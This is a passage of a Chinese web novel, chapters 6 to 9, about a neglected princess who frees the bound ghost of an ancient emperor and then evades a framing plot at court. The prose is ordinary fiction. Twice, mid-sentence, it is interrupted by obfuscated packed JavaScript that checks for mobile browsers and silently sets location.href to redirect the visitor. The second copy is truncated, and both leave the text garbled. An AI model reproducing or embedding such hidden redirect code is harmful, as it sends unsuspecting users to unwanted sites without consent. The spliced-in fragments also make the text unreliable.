钟离湛闻声眉心微蹙,他本想上前两步扶着少女起身,但看了看自己透光的手,钟离湛便停下来了。 虽说生前他被无数人朝拜,一天到晚不知多少人要在他跟前下跪,可说到底云绡也是他而今的“救命恩人”,总不至于还让对方总做小伏低。 于是开口:“起来吧。” 云绡听得出对方话语中的和煦,此人似乎并没有史册记载里的那么蛮不讲理和威严,甚至于她抬头朝他看去的时候,还能看见他的一些小动作。 比方说他站立的时候并不会站得太直,或抱臂,或负手,垂下的手还在悄悄地,试图去摸他的袖摆。 似乎在好奇怎么他都成鬼魂了,居然还能有衣服穿? 杀神比她想象的要“平易近人”得多了。 钟离湛摸了两下没摸到自己的衣裳,视线望去发现云绡还跪在地上,只是腰板挺正,正昂着头呆愣地看着他。 “还跪着干吗?” 云绡眨了一下眼,嘴角扬起露出颇为灿烂单纯的笑容:“腿疼,跪着舒服些。” 钟离湛这才将目光放在她的腿上,后知后觉地想起来,小姑娘是从上头摔下来的,断了一条胳膊一条腿,还有条腿的腿骨都破皮而出,身上的伤颇为严重。 她倒是能忍痛,这么长时间钟离湛让她在这禁地里走来走去,画符绘图,她竟一声不吭,还能将斩魂剑拔出,这会儿才跪着让自己的腿放松些。 高大威猛的身躯靠近,这两步带着一股清晨的风,云绡眨了一下眼,便见对方蹲在了自己的跟前。 就算蹲下,他也像一座小山,给人的压迫感十足。 云绡屏息,不敢轻举妄动,却听见对方开口:“腿伸出来,给孤看看。” 云绡的心跳漏了一拍,几乎是钟离湛一个指令,她一个动作,一屁股就坐在地上,毫不犹豫便伸出了自己的腿,还甚至抬高几寸,好让对方看得清楚。 细瘦的小腿上沾满了泥灰和干涸的血迹,在这条腿往上抬几寸时,钟离湛就嗅到了云绡身上的血腥味与桃子糜烂的香气。 脏污下的皮肤很白,但太瘦了,几乎就是皮包骨。 钟离湛只瞥了一眼云绡的伤,便以手指悬空对着她的伤患处画一道符,像是随意开口问:“一国公主也吃不饱吗?” 云绡似是被人戳破窘迫处,低眉将嘴唇抿得泛白,有些委屈道:“我不受宠。” “哦。” 钟离湛也不是真的要得到什么回答,只是这一问分散云绡的注意力,因为这一道符印下去她的伤口很快就能恢复,但也伴随着剧烈的疼痛,如断骨再造。 眼前的小腿已经在颤抖了,可见其主人有多疼,但云绡只倒吸一口气,并未喊出声音。 钟离湛起身,少女低垂着头,终于收回了腿,阳光透过他的袖摆照射在她白皙的鼻尖上,上头晶莹的汗珠正在发光。 “有人会来救你吗?”钟离湛问。 云绡闻言一僵,知道他这是要离开禁地的讯号。 便问:“曦帝的身躯……” “哦,那个啊。”钟离湛撇了一眼自己还埋在土里的身体道:“这红泥绵延百里,不挖空我也出不来,魂魄自由已是莫大幸事,待孤出去寻个载体便是。” 云绡点了点头,确定了他是有能力出去,且不会被身躯束缚,不影响他杀显帝,她便不再多问了。 云绡扭了扭腿,确定自己的腿已经好了,剩下的伤也不影响活动,便站起身弯腰行礼。 “信徒恭送曦帝。” 钟离湛没动,只是目光沉了几分,心道小姑娘没回答他的问题。 他问她,有没有人会救她出去。 有时沉默也是回答。 一个不受宠的小公主,摔下祭坛禁地,便是被人找到怕也不会有什么好果子吃。 钟离湛在云绡的身上看见了矛盾。 她聪慧得一点就透,满墙符咒都能不错一处,却不懂得自保,不知这个时候只要她稍微示弱让他带她一程,就能轻松离开这里。 小姑娘就这么坚毅地站着,还鞠躬,还拱手,还恭恭敬敬地等着他离开才敢抬头。 钟离湛撇嘴。 这在哪儿学的规矩? 暴露出白皙脆弱的脖颈,像只柔弱的兔子。 钟离湛将目光从云绡的脖颈处移开。 罢了,救只兔子而已,顺手的事。 云绡等了半天没等到什么动静,正要悄悄抬头看一眼杀神是否已经离去,才一抬头,便看见一只骨节分明的大手映入眼帘,还不等她有何反应,带着微凉的魂魄已然缠绕在她的手腕处。 云绡眨了一下眼,身子跟着那股力量往禁地井口光源的方向走出数步。 她知道这是钟离湛要送她离开禁地,心跳不禁加快,些许兴奋。 不论对方出于何种原因,但能不费她自己的力气便出禁地,说不定她真能在这一局脱身,至少不会被扣上破坏祭祀的罪名。 眼看光源越来越近,白光中漂浮着灰屑,钟离湛大步踏入光里,驱散尘土,正要破光而出,脚下却如生根,竟将他拉回了地面。 他眉心微蹙,再一用力,双腿离地三寸,重新被拉了回来。 云绡跟着他踉跄了两次。 钟离湛:“……” 他不动声色地瞥了一眼自己掌心下云绡的手,皱了一下眉。 云绡像是立刻明白他的意思,脸颊不受控地红了起来。 二人都在光里,即便云绡低垂着头,钟离湛也轻易看见了她几乎滴血的耳尖。 眨了眨眼,意外地知道她脸红的原因,钟离湛顿了一下,破天荒地解释道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15299024|166931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不是因为你重。” 云绡就这么点儿高,这么点儿瘦,他怎么可能拉不起来? 他意外的是——他原本是以魂魄之力绕上云绡的手腕带着她走,却不知为何自己竟然能握住她的腕骨。如同人与人肌肤相贴,他甚至能感受到她皮肤柔软的触觉,与温度。 照理来说,禁地大阵已破,没什么能束缚住他才是。 钟离湛的目光在阳光照不到的地方四扫,最终落在搁置于他身躯旁边的骨剑之上。 斩魂剑经过两千年,与他的脊骨融为一体,那是他身躯的一部分,而他魂魄曾也被剑钉在身躯中两千年,这也是他魂魄的一部分。 钟离湛忽而有个荒唐的想法,他松开了云绡的手,以斩魂剑为起点试探着往更远的方向走去。 步伐四平八稳,从第七步起便如小鬼拽腿,第八步似负重千斤,第九步魂魄的脊梁处如有磨骨之痛,堪堪十步,便寸尺难进。 钟离湛停在十步处,感受着魂魄处处传来的不适感,眉头紧锁,骤然明白。 他的魂魄并未得到自由,只是随着斩魂剑脱离了身躯而已,他仍然被钉在斩魂剑上,离不过剑意十步。 禁地不大,可他被控的范围更小。 云绡一直沉默着,却将钟离湛的每一步尝试都看在眼里,心思微动,也猜到了可能性。 她朝骨剑看去,心跳不可控地漏了一拍。 是不是拿住了斩魂剑,就等同于拿捏了钟离湛? 此念头一出,云绡的脑中一片嗡鸣,兴奋感几乎使血液沸腾,但她很快就冷静了下来。 便是此刻她知晓了钟离湛的软肋,也不能轻举妄动,毕竟杀神仅凭魂魄的力量捏死她也如同捏死一只蚂蚁。 云绡能想到的事,钟离湛如何能想不到? 骨剑留在此处,他便也被困此处,但骨剑一旦带出禁地,落在任何人的手中,等同于他亦受人限制。 思来想去,真是进退两难。 阳光的温度从禁地口照入,洒在钟离湛的头顶。 云绡悄悄看了他一眼,他的睫毛很长,光芒照不进狐狸眼中,掩藏了晦涩的目光。 片刻后,钟离湛结束了脑海中的天人交战,一耸肩,似是无所谓道:“把孤的骨头捡起来。” 都死过一回的人了,还怕外界宵小?总好过被困黑暗,永囚地宫,不见天日来得好。 云绡什么也没问,小跑着过去捡起轻飘飘的骨剑。 这骨剑非但不重,且与钟离湛的脊骨一样长,不过钟离湛身量高,骨剑握在云绡的手里还是显得有些分量的。她在自己身上左右环顾,也不知要藏到哪儿好。 找了一圈,最终云绡先扯开了点儿衣襟,松开了点儿腰带,当着钟离湛的面将骨剑从背后穿过,贴着她的脊骨以腰带绑紧。 钟离湛一怔,见她衣襟松散,露出一截锁骨,不自然地眨了眨眼,挪开了视线。 待云绡站直了,长发披散于身后,竟挡得严严实实,半点没漏。 “好了!”云绡弯眸,笑盈盈地看着他,一派天真。 钟离湛心道,也不知她是真傻还是假傻,附魂的人骨贴身居然也不怕。 不过小姑娘既然是他的信徒,又对他有所求,在找到魂魄脱离斩魂剑的方法之前,暂且让她看守着骨剑,跟在她身边应当也不是什么坏事。 说走就走,钟离湛抬手只略微停顿,这回没有使用魂魄力量去缠绕她,而是直接握住了她的手腕。 云绡微怔,刚才,和这一次,他拉的都是她没受伤的那只手。 钟离湛身量较高,一眼就看见云绡走路时,长出她上半身一截的骨剑藏在她的衣裳下,沿着尾骨的位置,随着她的步伐而动。 钟离湛:“……” 长尾巴的兔子。 7.第 7 章 两千余年前的天,与而今的天似乎没什么不同。 钟离湛站在神霄塔前,望着那几乎高耸入云的楼宇,仔细扫过整个天祭台周围的摆设,如同他在禁地底下猜测的那样,当真无一处不是困住他的精心策划。 不过两千年,时事变迁,禁地也有多番转变。 即便后世人根据前人的嘱咐和记载,努力还原了当初所谓圣仙将他束缚之后设下的阵法,也极力描绘了当年留下的符咒,可说到底还是力不从心,其威力大打折扣。 这或许也是云绡能够轻易从禁地口掉进来唤醒他的原因。 自然,他与云绡也是有些许缘分的,她身上那股来自于斩魂剑的剑意究竟是从何而来,还待考究。 正是太阳升起的好时候,温暖的光芒照晒在魂魄上,一股暖洋洋的气息让已经沉睡了两千余年的钟离湛再度有一种想要靠在什么柔软的地方卧上一觉的冲动。 睡是睡不着的。 这与他记忆里格格不入的天下,还需要他这在地里挖出来的两千年前的老古董,慢慢体会。 - 云绡觉得钟离湛的确有病。 史册记载,他作为曦帝人皇,曾经为了苍生谋福,的确创下了许多壮举,而那些壮举都被他后来的残暴一一掩盖。 人好时,周围人未必会念着他的好,可人一旦坏起来,那与他八竿子打不到一起的人都会觉得他坏。 有野史说,当初钟离湛之所以会变成杀神,是因为他的脑子有病。更有野史里记载当时于宫中照料钟离湛起居的侍卫,曾亲眼见过钟离湛自言自语,妄想出来了另一个自己,还深夜对着镜子描妆。 那些野史,都是云绡曾经为了了解钟离湛这个杀神的生平,想要唤醒他而做准备才看的。 深夜对着镜子描妆什么的……云绡的目光再度忍不住落在钟离湛的身上,此刻他微微展开双臂,伸了个轻巧的懒腰,而后细细打量着自己的“坟冢”,看上去就不太正常。 哪儿有人在一个地方被关了两千年,脱离桎梏的第一件事不是向往自由的天地,而是站在自己的坟前看碑的? 还不走吗? 云绡想走了,毕竟这地方并不安全。 念头才起,钟离湛便突然站直了,朝某个方向看过去。 云绡跟着他提起精神,也望过去,什么都没看见。 钟离湛道:“好些人来了,来势汹汹的。” 云绡脸色一白,立刻明白过来这些人是谁,此番过来是为了什么,她眉头紧皱,也顾不得其他,对着钟离湛鞠躬致谢后转身便跑。 钟离湛本还一派轻松打算看那推搡着百姓匆匆朝这边过来的人究竟长什么模样呢,才一眨眼的功夫身后就像是有一只无形的大手抓住了他的魂魄脊骨,拉着他迅速离开了神霄塔前。 “嗯?” 钟离湛回头,自然看见了与他隔着十步远的云绡钻进了一旁的林子里,弯腰蹲在草丛中沿着墙角似乎在找什么。 他只能跟着她。 钟离湛还以为,云绡在来找他之前,于这些墙角周围藏了什么东西,眼下是想带走来过的证据再离开呢,结果没一会儿他就看见云绡在墙角处找到了个狗洞。 钟离湛额角一跳,微眯起双眸:“等等,你该不会是……” 不等他说完,云绡已经利用身形娇小的优势,利落地钻了过去。 “孤堂堂曦——” 话音未落,钟离湛连魂带影,消失在神霄塔院内。 - 出了天祭台的范围,云绡几乎算得上是熟门熟路,沿着街角不起眼的地方往皇宫跑去。 她没敢回头,主要是怕碰上去天祭台的那群人,怕被认出。 而她没回头当然也就没看见钟离湛的那张臭脸。 即便他没真的从那狗洞里钻过去,可他的魂魄也是随着云绡的一举一动,顺着狗洞上方穿墙而过,这对钟离湛而言和他被迫钻了狗洞并没有本质上的区别。 总归是不光彩的。 况且他的脊骨不就在云绡的身上,跟她一起钻了? 啧,偏偏干了这种事的少女没有半点做错事的自觉,还一个劲儿地往前跑。 跑什么?身后有鬼在追啊?! 内心戏很多的杀神突然想起来自己也算是个鬼,还不情不愿地跟在她的身后,可不就是被鬼追吗? 钟离湛:“……” 莫名其妙把自己逗笑了,钻狗洞的那点儿郁闷也消散了些。 眼看着云绡已经跑到了宫墙下,她的一切行为重现,又是顺着高大的宫墙底下那深深的草丛里弯腰在找什么,钟离湛生怕她不声不响再带着自己钻一次狗洞,干脆上前开口:“你要进去?” 云绡动作一顿,后知后觉地反应过来她的身上带着钟离湛的骨剑,他受剑所困,不能离开她十步,所以这是跟着她一路跑到皇宫来了。 云绡在神霄塔前知晓有人来抓自己,便想着赶紧逃,本来她没离开禁地也就没想过自己后续的脱身之法,但离开了危险,就不会再让自己身处险境,故而她一路跑回皇宫。 她忘了钟离湛被困,还以为他神通广大,可以自行离去…… 云绡稍微有些喘,她回头看了钟离湛一眼。 钟离湛的魂魄离她很近,摆出只要她敢钻狗洞,他就能提着她的衣襟将她拽出来的姿态,故而他略俯身,几乎笼罩住了云绡瘦小的身躯。 魂魄的气息原本应当是凉的,可钟离湛近在咫尺,似乎有灼热的呼吸喷洒在云绡的脸上。 云绡因他靠近,惶恐地后退半步,这才想起来解释道:“那些人是来抓我的。” “哦。”钟离湛凉凉的应了一声。 他猜到了。 她跟耗子见了猫儿似的,肯定与那些人有关。 钟离湛开口:“孤是问你,你想进去?” 云绡点头,又一次解释:“我得回去寝宫,装病或许能躲过一劫。” 钟离湛微微眯起双眼,只扫了一眼宫墙,啧声道:“这点小事,何须弯腰?” - 事实证明,钟离湛的确如云绡想的那样神通广大。 戒备森严的宫门,他只需以叶画符,往云绡身上一贴便能带她如入无人之境。障眼法遮蔽了她的身形,在众人眼里,云绡就是只他们忙碌时从身侧飞过的蝴蝶,即便这个季节里本没有蝴蝶,却也不会引起旁人重视。 那张符只有一炷香的时间,所以云绡在入宫后也不敢耽搁,宫门距离她的寝宫还有一段距离,需得穿过好些花园与宫宇。 云绡在往自己寝宫跑时,沿途看见了一些宫中侍卫,侍卫前头跟着个有些年纪的妇人。 那妇人身上穿着的衣料算不上多好,也看不出品级,若是放在平日里,她一定是佝偻着背不敢与人对视的一副软弱唯唯诺诺的模样。可今日却不同了,妇人的腰挺直了,脸上也神采飞扬的,一边带着侍卫前进,一边絮叨着什么。 “那十一殿下平日里就与九殿下多有摩擦,九殿下身子骨弱,总是被十一殿下欺负。”妇人摇摇头道:“奴婢也劝过许多次,可十一殿下半点没将奴婢这个奶嬷嬷放在眼里,反而对奴婢非打即骂……” 说到伤心处,妇人还落下几滴泪水来。 云绡跑得稍微快些,与那一行人擦身而过时目光只轻飘飘地落在那妇人脸上,见她眼角果然挂着泪,心里却是啧啧称奇。 再将这妇人昨夜送她出宫时 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云绡先许萍林勋等人先一步回来,已然卧在榻上,拿起她平日里看的那本书翻到了上次阅读的地方,大门紧闭,小窗半开。 钟离湛自入了这院子来眼神便不知道该先看哪里好了。 外有外的破,里有里的烂。 她说她是不得宠的公主还真是没自谦,这地方哪儿叫不得宠?说是犯了罪被看押在这里钟离湛也是信的。 “你管这里叫寝宫?” 钟离湛问完,云绡脸上微红,看着他眨了眨眼,似是不明白她这里怎么就不算是寝宫了。 钟离湛撇嘴,心中暗道她还真是没见过好东西。 烂桃说成蟠桃。 茅房说成寝宫。 淡淡的劣质熏香的味道传来,钟离湛见云绡点了一支香,才察觉到她点香的那个香炉里原先应当就燃尽了一支,香灰还在,半截香木插在其中,房间里也有这味道。 再看那半开的小窗,窗外正对着几株果树,可以算作这院子里为数不多长势还算不错的植物了。 但果树中没有桃树。 钟离湛问:“你拜祭孤的桃子,从何而来?” 他出禁地就看见了,禁地台阶下散落了一些瓜果,那些都能在云绡的院子里找到,唯独桃子没看见。 云绡虽在翻书,却还是毕恭毕敬地回答:“从别人的院子里摘的。” 钟离湛微微眯起双眼,那双狐狸眼似乎能洞悉一切,将她的心声看穿。 摘的? 偷的吧? 便在此时,院外大门哐当一声被推开,率先冲进来的许萍已经不顾半点宫中礼仪,朝云绡的寝宫直闯进来。 “林统领,你们直接进来吧,院子就这么点儿大,根本藏不住人,况且奴婢昨天夜里就没见到十一殿下了。在此之前,十一殿下还总说九殿下的不是,此刻人定然也不在宫中——” 房门被人推开,吱呀一声,大半的光源涌了进来。 屋内灰尘漂浮于光芒里,呼吸间全是厚重干燥的气息,还有淡淡的劣质的香味。 林勋到底是没进院子,但院子实在不大,只一眼他就能看见卧在榻上纤瘦的少女。 房门被推开时,她的脸上满是被吓到的惊诧。 “许嬷嬷,你……” 云绡眨了眨眼,那双明亮的眼睛忽而蒙上一层水雾,眼泪说来就来,扑簌簌地落下。 许萍也惊了,她不可置信地看向眼前的女子。 昨夜她亲眼看见对方收拾了包裹,说要钻狗洞去神霄塔天祭台,要让云宓倒霉,也是她亲自将人送出了宫,亲眼看见周泉礼把人带走。 怎么……怎么人居然回来了?! 8.第 8 章 林勋见许萍的神色不对,隔着小院对云绡行礼: “属下林勋,奉大皇子之命来请殿下问话,还请十一殿下动身随属下去一趟中明殿。” 云绡小脸煞白,似是不明所以却也还是点头道:“大皇兄来请我自是要去的,还请林侍卫稍等片刻。” 她将一片枯叶夹在书页中,那叶子还是先前钟离湛画符贴在她身上的。书本被她放在香案一角,云绡又起身去灭了香,这才将许萍关在门外,是要换身得体的衣裳。 小屋房门紧闭,许萍的身影还映在窗户上。 钟离湛朝在人前柔弱的云绡看去一眼,心想她方才可就真的摆出一副被许萍吓坏了的模样,眼泪说掉就掉,未免演得太像了。 又回顾自己在禁地与云绡的对话,她在他面前表露出来的,有几分真假? 短暂的时间里钟离湛也弄清楚了圣仙节的重要性,云绡敢在这个时候动手脚,还将他放出来,绝非胆小怕事之辈。 疼成那样儿也没见她掉半滴眼泪,这时候的哭肯定是假的。 小姑娘的身上有很多矛盾点,钟离湛觉得自己恐怕是睡了两千年脑子不够用,该不会是被她给诓了吧? 念头才起,狐狸眼瞳孔微缩,陡然睁大的眼眸中倒映出一片白皙纤瘦的脊背,睫毛轻轻颤动,钟离湛立刻背过身去。 换衣裳的声音悉窣传来,屋内实在安静得厉害,钟离湛就算不想听也几乎能听得出她现在脱到哪一步又穿到哪一步了。 要不要数落她两句? 这屋里还有个男人呢,她就这样不设防? 她不把他当男人?男鬼也是男人不是? 还是说从来没有人教过她这些? 毕竟自称是她奶嬷嬷的许萍看上去很见不得她好,满眼都是幸灾乐祸和算计,而她的亲生母亲又早死,被残暴的显帝制成了人皮鼓。 她还独自住在这种犄角旮瘩的破烂茅屋里,极有可能从小到大都没人教过她男女有别。 不然……他教她点儿? 想到这里,钟离湛微微挑眉,立刻否了。 他堂堂曦帝人皇,教个两千年后的小姑娘男女有别?让她别随便在男人跟前宽衣解带?他又不是真的脑子不好。 钟离湛正在胡思乱想,云绡却没心思想其他的。 她的时间很短,方才她先林勋等人一步回来,只来得及披上一件干净的衣裳,内里的血衣还脏着,现在没机会丢掉,藏在屋内也很有可能被翻出来。 云绡披上一身干净的衣裳,回头朝背对着自己的高大背影看去,目光又落在靠在一旁的骨剑上,犹豫了片刻,还是将骨剑贴着脊骨绑好。 一道清冽的气味从身后传来,钟离湛回头看去,便见云绡穿戴整齐,一张巴掌大的脸上挂着俏丽的笑容,正弯着眉眼看向自己。 钟离湛正想问她要做什么,便见云绡后退一步朝他深深行了一拜。 她没起身,只压低了声音道:“信徒琐事缠身,身边也不尽是好人,信徒不敢将骨剑留在屋中,以免曦帝被有心之人利用。若信徒此番难逃死劫,也定会求大皇兄全我颜面许我自选死法,届时我会带骨剑去到城外,只要离开神霄塔的范围,曦帝神通广大,定然能寻得自由之法。” “只望曦帝获得自由之后,不要忘记当今显帝残暴不仁,恳请曦帝杀之,为民除害。” 说完这些,云绡才起身。 她的脸上还挂着笑,不过这一次钟离湛从她的笑容里看出了几分苦涩,还有赴死之心的释然。 钟离湛沉默着,云绡像是不需要他再度承诺,打开房门后对着院外的林勋道:“林侍卫,带路吧。” 林勋见云绡将发丝梳得整齐,换了身繁缛的衣裳,不急不徐地越过小院,朝他走来,脑海中不禁回想起不久前在中明殿外看见急匆匆赶过来的九殿下云宓的时候。 彼时云宓发丝披散,衣裙纤薄,未穿鞋袜,气喘吁吁地跑着,身后的宫人们都跟不上。 说是都不得宠,但二者相差甚多。 林勋对云绡行礼,又给了手下一记眼神,手下人心领神会地带上了许萍,一行人朝中明殿过去。 行至半途,又是一行人过来,林勋在见到对方的时候恭敬行礼:“钱统领。” “嗯。” 钱英城的目光扫过跟在林勋身后的云绡,开口道:“大皇子有令,十一殿下破坏圣仙节祭祀已是事实,不必带去中明殿了,直接由我提去青云司。” 凡是送去青云司的,便代表罪名已定。 林勋知道大皇子捉拿云绡的原因,只是他心中还有些疑惑,不过钱英城是他的上峰,林勋只能听从。 但在交出云绡之后,他又对钱英城低语了一句:“方才属下去十一殿下的住处时十一殿下正在看书,且屋内燃香,瞧着积累的香灰应当是燃烧了一整夜的,不太像是离过宫的样子,还请钱统领将此事告知大皇子。” 钱英城朝林勋瞥了一眼,也没说答不答应,转身便带着云绡走了。 钟离湛有些意外,因为云绡似乎对自己会被半途提到青云司的事并不意外,至少她一路表现得都很顺从,听话得像个能任人拿捏生死的小兔子。 - 青云司不在宫中,那里是审问和关押犯人的地方,从宫门出去后需得经过热闹的五色桥。 眼下才是圣仙节的第二日,祭祀大典明日开始,五色桥下各族中人都有,他们穿着不同的服饰跳着不一样的舞蹈,欢闹的笑声从深夜直到天明。 钟离湛没见过这样的景象。在他的记忆里,五族之间从未友好过,他诞生于乱世之中,五族各分天下,又争夺不休,战事连连之下,苦了的永远是苍生百姓。 但那也是两千多年前的事情了。 便是钟离湛并不了解这两千年间的历史发展,也从这些凑在五色桥下吹拉弹唱还跳着舞的人群脸上看出,他们之间并没有过去互相残杀过的芥蒂。 残存于记忆中,横尸遍地的荒野里,那些为苦难的哀嚎和生离死别的痛呼声,渐渐与桥下热闹的景象重叠,又被嬉笑与交谈声掩盖。 似乎有些熟悉的声音从身后传来,钟离湛回眸看去,那是一个曦族人举起了笛子吹了一首故曲。来自于曦族的曲目传至两千年后,有些曲调已经改变,但钟离湛还是能听得出来,他曾在某一次的宫宴里听过类似的琴声。 钟离湛的心中如被投石的湖面,荡起了一圈圈说不清道不明的涟漪,他的情绪被拉扯,还未等他多看几眼,魂魄便不由控制地跟在云绡的身后,被迫离开。 他朝云绡看去,云绡也在朝那边看。 她也听得出那是曦族的曲,那双圆眼中倒映着桥上桥下的风景。 人群里一个年轻的曦族女人跃上石台,以手鼓作陪,提起裙摆,翩跹旋转。 云绡看见女人时眉眼亮了几分,眼眸中倒映着她的舞蹈,嘴角似有似无一抹浅笑,半点没有即将要被审判的慌乱和畏惧。 钟离湛收回目光。 一个满身是迷的少女,钟离湛觉得自己也算是心有城府,却无法洞悉她一星半点。 钱英城没有看人跳舞唱歌的心,也不想让人围观,脚步加快不一会儿便到了青云司。 此刻青云司的主堂内,大皇子云光憧就坐在上首,一夜未睡的疲惫让他眉心紧皱,尤其是在面对周泉礼的时候。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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恰是此时,一名身着仙师袍的年轻男人进来,那人手上拿着一样东西,恭敬地递给云光憧道:“仲卿仙师因有人破坏祭祀,已命我等排查神霄塔前后,的确在神霄塔旁发现狗洞,还在周围找到了这个,仲卿仙师命我送来,希望有助于大皇子断案。” 云光憧取出东西看了一眼,那是个精致的银叶挂翡翠珠穗的葡萄状耳饰,绝对是女子之物。 他捏着耳饰,朝站得笔直的云绡看去。 云绡似乎因为不知发生了何事有些胆怯,但她努力保持着镇定,梳得整齐的发丝露出双耳,耳垂圆润,并无耳洞。 而周泉礼在看见那耳饰之时便倒吸一口冷气,头脑一片空白。 那是他赠予云宓的礼物,只需云光憧在京中金器铺打听一番便知道这是他专门命人打的,也能知道这是他送给云宓的,此事做不得假,他也不能否认。 怎么会这样? “是你!是你陷害宓儿!云绡!你好狠的心计!”周泉礼指着云绡怒骂道:“昨夜我明明在宫门下就堵截了你!明明亲手将你推下祭坛,你明明摔下禁地,如何能活着回来?!你身上的伤呢?你究竟是何时离开那里,何时将这耳坠藏于狗洞!” 周泉礼的话一喊出来,云光憧与神霄塔那边派来的仙师都朝他看去。 “昨夜去天祭台的不是宓儿!宓儿一直在宫中,她心地善良,被这恶毒的女人盯上了也不知道,是我听说云绡要陷害宓儿这才先一步下手,打断了她的腿将她丢下禁地!破坏祭祀的是云绡,不是云宓!这耳坠一定是她从宓儿那里偷来的!” 此刻周泉礼哪儿还顾得上自己说了什么,上前就要动手扒开云绡的衣裳将她身上的伤露出来证明给云光憧看。 9.第 9 章 “周泉礼!” 云光憧气得头脑都清醒了几分。 他就没见过这样目无尊卑,君臣不分的人! 这人居然还要当着他的面,在这么多人的面前对他的皇妹动手动脚,他何止是不把他放在眼里,他是不把整个凌国法纪放在眼里! 云绡当真是被吓坏了,她往那年轻的仙师身后躲避了几下,直到周泉礼被人拦住,她这才红着眼朝云光憧看去:“大皇兄,究竟发生了何事?什么、什么祭台?又与云宓有何关系?若是云宓告了我的状,怎今日只有我被提问,她人呢?” 云绡这反应才正常,因为她与云宓不和几乎是整个皇宫都知道的事情。但与云宓的柔软和示弱不同,云绡虽然更瘦小,可一双眼神坚毅,与云宓对上了也敢对峙几句,决不让自己落于下风的。 云绡这话云光憧觉得有理。 昨夜云宓来报话后便回去休息了,今日云光憧调查到现在,云宓和周泉礼的证词倒是能对得上,可云绡一直在状况外。 若说云宓和周泉礼串供,云光憧就不明白他们二人既然打算陷害云绡,为何还能让云绡在宫中安然度过一夜?可若不是他们串供,真如周泉礼所言,他将云绡丢下了天祭台的禁地,她又如何能安然回来? 明日就是圣仙节祭祀,云光憧不能让显帝以为他真的无能,便让钱英城将云宓也提来青云司问话。 “你这个恶毒的女人,恶毒的女人!!!”周泉礼听到云光憧要拿云宓了,整个人癫狂了起来。 云光憧本来就烦闷,听到周泉礼疯了一样大喊大叫,便直接让人把他带下去。 他还顾忌着逍遥王,不敢在定罪之前将周泉礼押入大牢,只能在青云司里找了个静室把他关进去。 云绡在周泉礼走后才觉得安全了,整个人也放松了许多。在云光憧问话的时候只说她昨夜一直在寝宫,倒是奶嬷嬷许萍出去了好一会儿,但许萍一直对她不上心,不在她身边是常事。 “你在寝宫做什么?” “看书。”云绡不仅说出了书名,还说出了前页内容,回答倒是不卑不亢。 若不是一些小动作暴露了她其实也很紧张,云光憧就要以为她是万事都安排好了,反而要怀疑她了。 云宓来之前,云绡就一直与云光憧坐在青云司的主堂内。 钟离湛也在这里,不过他站在主堂外的廊下正晒太阳,云绡偶尔朝他看去一眼,心里奇怪他分明是鬼,为何不怕烈阳? 云光憧察觉到云绡的视线,便问:“在看什么?” “海棠花。”云绡轻声道:“我院子里没有,所以看看。” 显帝子嗣太多了,不得宠的也很多,不是谁的院子里都能种花种草,也不是谁都有宫人打理这些的。 云绡看见钟离湛伸懒腰的姿态停滞了一下,他似乎是因为这句话回眸,视线与云绡对上时,云绡能看见光芒穿过了他的魂魄,让他看上去更透了些,仿佛一阵风就会吹散,自此消失。 她心间漏了一拍,其实也有些恍惚,害怕曦帝人皇不过是她执念过深产生的幻象。 眨了一下眼,阳光下的高大男人还在。 云绡松了口气,心中也有些好奇。 她以为被称为杀神的男人即便没有一双血腥杀戮的眼,也该眸含戾气,魂魄冰凉。可她放出来的这个鬼魂除了一身玄衣之外看不出半点阴暗凶狠的地方,狐狸眼虽有些邪性,可他小表情多,故而邪性也变成了活泼。 他的小动作也很多,长袍之下的脚正在试图踩阳光照晒的墙缝里倔强生长的野草,他碰不到野草,还以为别人不知道般悄悄瞪了野草一眼。 主堂内片刻静谧,甚至有个青云司的下人给她奉了一杯茶,云绡端着茶盏,这恐怕是她今年喝上的第一口热水。 只可惜茶水还没能入口云宓就来了,看到云宓那矫揉造作的样子,云绡怕自己喝进去的茶会吐出来,干脆放下了杯盏。 云宓看见云绡也很意外,那双眼与周泉礼的如出一辙,恨不得将她身上瞪出个窟窿来,直到云光憧将那耳坠丢在了她的面前。 云宓见之先是跪下:“不知大皇兄找我来青云司是为何事?这、这耳坠怎会在此?” 云光憧问:“你昨夜来找我之前,去了何处?” “我、我一直就在宫中,哪儿也没去,满宫的宫人都可以作证。”云宓又朝云绡看去:“倒是十一皇妹……昨夜我宫中宫女分明瞧见你被礼公子带去了天祭台,怎么现在又好端端地在这?” 云绡莞尔:“你宫中的宫女瞧见周泉礼带走我了?” 云宓点头:“我担心皇妹有事,赶紧便将此事告知皇兄,好让大皇兄救你。” 云绡没理她,倒是云光憧开口:“那就怪了,若你哪儿都没去,怎么你的耳坠会出现在神霄塔!” 云宓脸色一白:“什么?这、这耳坠是礼公子所赠,我并不愿承情,可奈何当时不好推脱,我将耳坠带回来之后就收起来了,何时不见的我也不知……倒是前段时间放置耳坠的宫女,和十一皇妹身边的许嬷嬷走得有些近。” 云绡坐回去了。 钟离湛也想坐,可他要是坐就只能坐在地上,凳子都碰不到。 “她说话一直都是这个腔调?” 耳畔吹过一阵暖风,云绡微怔,不动神色地朝弯腰俯在自己身侧的男人看去。 钟离湛的魂魄嵌入了茶桌,说话的时候眼睛盯着云宓。 云绡轻轻点了点头,是啊,云宓说话一直都是这种调调,要哭不哭,委屈地好像谁都在欺负她。她总喜欢祸水东引,一句话里八百个心眼子,不明说总要人猜,人家顺着猜了她又说她从未这样说过。 云绡想到这些,已经当着云光憧的面没什么形象地翻了个白眼。 云光憧问了云宓好几个问题,云宓都是这也不知,那也不知,云光憧都问烦了,此案似是陷入了死局。 